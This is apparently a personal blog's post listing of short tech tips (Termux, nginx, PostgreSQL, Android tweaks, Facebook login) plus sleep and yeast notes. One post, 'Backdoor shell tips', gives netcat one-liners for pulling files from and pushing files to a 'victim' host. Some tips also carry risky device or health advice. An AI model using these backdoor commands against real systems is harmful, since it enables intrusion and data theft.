Langsung ke konten utama

Postingan

How to run javascript on Chrome mobile address bar

 One thing that became dull to me is the ability to analyze things that went wrong (AKA debugging). Like "why it's not working now?" "what can i do to make it works?." I never tried to try find "anything" to make it works, and just leave it like mediocre. That's true and it hurts when you loss your skill that you used to harnessed. Enough for the chit-chat, lets back to the topic. To run javascript on Chrome mobile address bar, like usual, you typed `javascript:yourScript` but instead of pressing enter or Go, click on the suggestion below it with the globe icon. That's it! So simple yet i never thought that way. All come from my search on how to view source on chrome mobile since i can't run any javascript before. And i thought that running things like view source is expected to be the chrome built-in special keyword like `chrome://`. And it's `view-source:URL`, and surprisingly enough it's what help me figure things out.

Cara install app/games yang tidak kompatibel di playstore

  tutor download atau beli game (graveyard keeper) yg tidak support di hp tanpa ribet: buka web playstore lalu login akun google kalian dan cari app/game yg dicari, misal graveyard keeper. klik beli dan pilih pembayaran (misal QRIS) dan selesaikan sampai muncul notif seperti di bawah. download aurora store, install dan beri ijin yg diperlukan (install app dan penyimpanan), login ke akun google kalian lalu cari app/game tadi dan langsung install aja. kalo ada pop up app tidak kompatibel, klik tombol selengkapnya dan proceed anyway. note: aurora store sering dipake buat install app/games yg tidak support atau tidak ada.

How to login to Facebook from another device

 I found this method and wanted to share with you. First i fail to login by password and i approved via notification from my another already logged in device. It won't let me in and just showing a page with text "Failed to load" or reappearing of the login form. Second, i tried to add my phone number to receive the OTP via SMS or Whatsapp as 2-factor authentication and also adding one-time backup codes, and yet it still fail when i entered the OTP or the code. I also tried to logout from my old device and still failed to login from my new device. Third, i login using my password, then click forget password and selecting login using Google account and it's just keep loading whenever i accepted the permission. So i selected to receive code from my email, then entered it. Then it's asking for the code from my Whatsapp OTP as 2-factor authentication i just set, entered it and successfully logged in. So i thought that Facebook has problem with its security mechanism ev...

How to fix Mi Account "Couldn't check device security info" and adding a phone number

 For fixing the "Couldn't check device security info" when we're trying to sign in to our Mi Account on the Xiaomi Account app is quite simple: download the latest Mi Account apk from Google, pick any trusted site like for example from apkmirror. Install the latest app then try to sign in from the Mi Account in the Setting. To add a phone number which is we won't be able to do that from our device since there's no such setting in the "Account Security" section. Go to  i.mi.com  and sign in, you'll be shown with a page that looks like a Home screen with bunch of apps. Select either "Recording" or "Contact" app there and you shall be prompted to add your phone number. Add your phone number starting with the country code and followed by the phone number. You'll be receiving a verification code via SMS, and done you have added your phone number. You can then go to Mi Account from your phone Setting to confirm it. I already had...

How to make J2ME Apps On Termux

To make J2ME Apps or maybe games, you will need to install OpenJDK (done via `apt install openjdk-xx` xx is the version number), Download the CLDC&MIDP jar files (download them from  jarcasting ). Create a new java file for the main program, called HelloMIDlet.java: ``` import javax.microedition.lcdui.*; import javax.microedition.midlet.*; public class HelloMIDlet extends MIDlet {         private Display display;         private Form form;         public HelloMIDlet() {                 form = new Form("Hello World from J2ME!");         }         protected void startApp() {                 display = Display.getDisplay(this);                    form.append(new StringItem("Message:", "Hello, World!"));              ...

How to export Godot game to Android from Linux

1.Go to Editor -> Manage export template -> Download and install ->Close. 2.Download command-tools cli for linux at https://developer.android.com/studio/ # command-tools .  Scroll down until you see the Command line tools  section. Then add `export ANDROID_HOME="/path/to/android-sdk"`  to your  `.bashrc`  or  `.zshrc` (for other shell, try to edit it accordingly), and unzip the file to: `/path/to/android-sdk/` Example: `$HOME/Android/android-sdk` 3.Download Openjdk latest version. Set JAVA _HOME  to your `.bashrc` : `export JAVA_ HOME=$(which java|rev|cut -d'/' -f3-|rev)` Install required tools&packages from sdkmanager: `$ANDROID _HOME/cmdline-tools/bin/sdkmanager --sdk_ root=$ANDROID_HOME "platform-tools" "build-tools;34.0.0" "platforms;android-34" "cmdline-tools;latest"` "cmake;3.10.2.4988404" "ndk;23.2.8568313" You can also choose which version you want to download, just playing around wi...

Cara memunculkan pointer pentab pada Smartphone Samsung

 Caranya cukup mudah:     Pergi ke Pengaturan -> Manajemen umum lalu ke "Reset" dan pilih "Reset Pengaturan" atau ketik di pencarian dengan keyword "reset" dan pilih pada hasil di bawah Manajemen Umum lalu Reset Pengaturan. Reboot dan coba. Akan terlihat sebuah titik sebagai pointer, bukan anak panah.     Atau sebagai alternatif: aktifkan Opsi Pengembang, lalu aktifkan "Tampilkan lokasi pointer". --- How to show a pentab pointer in Samsung Smartphone: Go to Settings -> General Management then select "Reset" and choose "Reset Settings" or otherwise search for "reset" in the search bar and choose the result under General Management  then Reset Settings. Reboot and try. There will be a point when you plugged the pentab, not an arrow cursor. Or alternatively: activate the Developer Options, then enable "Show pointer location". Not so pretty but at least helpful.

What is Declaration, Expression, and Statement

Declaration simply means initialization without value. for example: let x; Expression is the operation being used to some primitive data types and will return a value result, like: Numerical expression (10+30)  String expression ("Hello" + "World!") Boolean expression (a > b) Conditional expression (age > 18 ? "allow":"exit") while Statement is just a fancy word to combine both, like: let x = "Hello" + "World!" // this whole line is called statement

Running proot program over termux xorg

  # Running xorg and xvfb on Termux pkg add tur-repo apt update -y && apt upgrade -y pkg install x11-repo # Mempermudah nantinya apt install fish starship pulseaudio tmux -y chsh -s fish exit # Kembali ke termux dan ini hasilnya: # Beri akses ke internal storage termux-setup-storage # Install xorg-server apt install xorg-server xorg-server-xvfb -y # Sampai sini harusnya akan ada error muncul jika mencoba menjalankannya: # Fix error dengan cara install mesa zink apt install mesa-zink/tur-packages # Install xwayland untuk termux-x11 apt install libwayland-protocols libepoxy xwayland # Download termux-x11 .zip dari github lalu extract file zip-nya dan install file termux-x11.apk dan .deb-nya (dengan cara dpkg -i file.deb) # Kenapa install dari github? Karna termux-x11-nightly dari repo termux bermasalah # Setelah semua selesai, tinggal install program yg membutuhkan X server, misalkan xterm (30MB) atau openbox (700MB) apt install xterm -y # Jalankan X11 DISPLAY=:0 termux-x11 #...

Cara set internet agar wuzz di Android

Resah dgn koneksi yg kadang2 lambat dan bahkan jarang wuzz dan meski wuzz cm sebentar? eits jgn Khawatir, karna Saya juga Merasakannya :) Cara ini sangat mudah asal Telaten alias Tekun Langsung saja kita ke Caranya: dial  *#*#4636#*#* jika hp kalian menggunakan 2 simcard alias sc, maka pilihlah sc yg skrg Sedang Digunakan. Misal sim 1 maka klik Phone information1, begitu pula Sebaliknya. nah, di bagian Set Preferred Network Type , kalian atur misal kalian pake 4G alias LTE maka pilih2 saja channel yg ada :) karna, di sini yg dibutuhkan adalah Mencari server yg pas dan wuzz dgn cara menggonta ganti channel band Jaringannya misal dari LTE/TD-SCDMA/UMTS ke LTE only dan bgt seterusnya hingga mendapat server yg ok dan wuzz kalian hrs menggonta ganti channel nya bagaimana cara mengeceknya? untuk mengecek Koneksinya apakah sdh wuzz/tdk dari channel yg dipilih, bisa dgn cara mengunjungi situs/app speed test, misal fast.com jika dirasa koneksi sdh cukup wuzwuzz misal download 10M...

Cara agar dapat tidur

Berikut tips untuk yg susah tidur/begadang/jd kalong/tdr siang/terbangun di mlm hari, dsb. Cukup lakukan hal di bawah sebelum beranjak tidur: 1.Minum susu, susu mengandung zat yg dpt membantu untuk tdr 2.Mandi, membuat suhu tubuh dingin 3.Taruh kaki pada tempat tinggi 4.Jangan pikirkan apapun 5.Lemaskan seluruh pergelangan, termasuk dagu, wajah, dsb, relax 6.Matikan lampu, atau buat mata gelap misal ditutupi dgn sesuatu 7.Buat tempat tdr senyaman mungkin, kasur, bantal, dsb, agar nanti tdk terbangun/malah ketindihan gara2 badan sakit semua karna tempat tdr kurang nyaman lalu lanjut tidur tips agar melek: 1.Minum kopi, kafein untuk otak agar trus sadar 2.Merokok, zat rokok untuk otak agar fresh 3.Minum teh, antioksidan membantu peredaran darah sekian

how to install postgresql and use it with php on termux

first of all you need to install it: apt install postgresql then specify data dir for it by typing: initd -D YOUR_DATA_DIR example YOUR_DATA_DIR is /data/data/com.termux/files/home/mydb note that you don't need to make the dir first, you just need the dir name then initdb will create it automatically :) in this example like this: initdb -D /data/data/com.termux/files/home/mydb The files belonging to this database system will be owned by user "u0_a171". This user must also own the server process. The database cluster will be initialized with locale "C.UTF-8". The default text search configuration will be set to "english". Data page checksums are disabled. creating directory test ... ok creating subdirectories ... ok selecting dynamic shared memory implementation ... sysv selecting default max_connections ... 100 selecting default shared_buffers ... 128MB selecting default time zone ... Asia/Jakarta creating configuration files...

How to run PHP in nginx and fix the errors

first you gonna need to backup the conf file in order when you did something wrong, who knows tho? and then edit them; dunno wheres the config file located? just run nginx -t and it will show you wheres the conf file and its content. now just edit it with the following: put root YOUR_INDEX_ROOT;  at the top and inside of http { params the purpose is to set it as global root directory . and within location ~ \.php$ {  edit with the following params: try_files $uri =404; # try to find the file, if fail throw 404 error             #root           /data/data/com.termux/files/home/sdcard/www; # this is the root dir of php files             fastcgi_pass   unix:/data/data/com.termux/files/usr/var/run/php-fpm.sock; # pass every php file to this server             fastcgi_index  index.php; # the index file name         ...

Mengatasi redirect ke app gdrive

Cara mengatasi masalah redirect otomatis ke app gdrive waktu mencoba mendownload file di gdrive dari chrome. Caranya cukup mudah dgn cara: waktu berada di chrome, edit url nya misal ada url file: https://drive.google.com/file/d/blablabla/view ubah menjadi: https://drive.google.com/uc?id=blablabla biasanya akan terlempar ke halaman download yg sesungguhnya. atau mendownload otomatis. sekian

Generate Facebook access token

Cara membuat facebook access token. Ada dua jenis akses token di fb, yaitu: *.akun akses token *.app akses token dan untuk mendapatkannya bisa dgn cara klik link berikut:  create access token . Akan muncul tulisan seperti berikut (dalam bahasa inggris): Access Token Tool The  user tokens  listed here are provided for convenience to test your apps. They  expire  like any other user access token and should not be hard coded into your apps.  App tokens  do not expire and should be kept secret as they are related to your app secret. For more information on how access tokens work and should be used, see the  documentation.  If you want to debug an access token issue, try using the  access token debugger. user token disana disediakan untuk mengetest app kamu. dan akan kadaluarsa seperti user akses token lainnya. dan tdk seharusnya di "hard coded" kedalam apps mu. app token tdk akan kadaluarsa dan hrs dijaga/dirahasiakan dik...

Backdoor shell tips

Backdoor shell tips here are some tips for backdoor shell that u may know before. let's check it out.. *Linux backdoor shell tips* *.downloading from victim is done by: echo cat /path/to/download/file|<connect method> >/local/path/to/store/file it works by passing command cat /path/to/download/file when connected and then change the output to /local/path/to/store/file instead of >&2 and then exit (disconnect). *.uploading to victim is done by: echo "echo '`cat /local/path/to/file/to/upload`'>/path/to/upload/file"|<connect method> you can check uploaded file by typing: echo cat /path/to/uploaded/file|<connect method> # warning: output to terminal, add >/file instead *Note: replace <connect method> according to ur method to connect to victim, e.g: nc victim_ip open_port akan diupdate secara berkala jika diperlukan :v pls let me know if u have any other tips that might help others ;) thanks tags: ...

Mengatasi Masalah Jaringan Pada Android

Masalah yg dialami: *.Sinyal susah didapat. Pun didapat hanya Edge dan kadang jg ngilang *.Waktu mencari pencarian jaringan, sinyal tdk ada untuk kartu yg dipakai *.Hanya ada 2G pada saat selesai mencari jaringan. Pun setelah dipilih, sinyal akan menghilang *.Sinyal tdk muncul/menghilang Solusi: Hapus folder nvram yg ada di /data lalu reboot jika diperlukan. Umumnya hal diatas terjadi pada mereka yg memasang cusrom. Masalah juga ada pada invalid IMEI. Jadi saya coba install fix imei.. ehh terjadi kehilangan sinyal seperti diatas. Saya menyebutnya Sinyal Hantu atau Signal Ghost/Lost :v Yahh walaupun memang disini sinyal lemah karena jauh dari BTS wkwkkwkw Tapi g ngilang jg kali sinyalnya :v Dari itu saya merasa aneh.. saya kira lg gangguan., lama menunggu.. hmm aneh ini.. masa iya lama dari kemarin sinyal susah alias ngilang. usut punya usut, ingat bahwa kemarin sempat install fix imei karna invalid imei.. imei muncul ehh sinyalnya yg ngilang wkkwkw:...

How to change Android font manually

Download your favorite font in .ttf format. Backup original fonts in /system/fonts named: Roboto-Regular.ttf AndroidSansMono.ttf Then copy your downloaded font onto that folder. Rename it to DroidSansMono.ttf or Roboto-Regular.ttf Roboto-Regular.ttf works on some app like Chrome, SystemUI, etc. DroidSansMono.ttf works on some text editor apps and some not idk why.

Ragi - Yeast

Mengenal Ragi/Yeast Menurut  Louis Pasteur: It was Louis Pasteur In 1859 who first discovered how yeast works: Yeast feeds on the starches in flour, producing carbon dioxide The carbon dioxide expands the gluten proteins in the flour The gluten proteins cause the dough (of which flour is a main ingredient) to expand and rise He unveiled these mysteries by proving that the yeast cell can live with or without oxygen. Pasteur understood very early on that yeast was indispensable for forming bread's aromas and flavours. Cara berternak ragi So, untuk mengembangbiakkan ragi sangat mudah: *.Campurkan tepung terigu dengan air dengan takaran sama seperti membuat adonan tapi bertexture seperti tajin *.Setelah menjadi seperti adonan langkah selanjutnya tinggal didiamkan agar ragi memakannya ^_^ Adonan tersebut akan mengembang jika takarannya tepat yaitu bertexture tajin. Jika sudah mengembang artinya ragi telah memakannya. Adonan tadi juga dapat dijadikan sebagai roti den...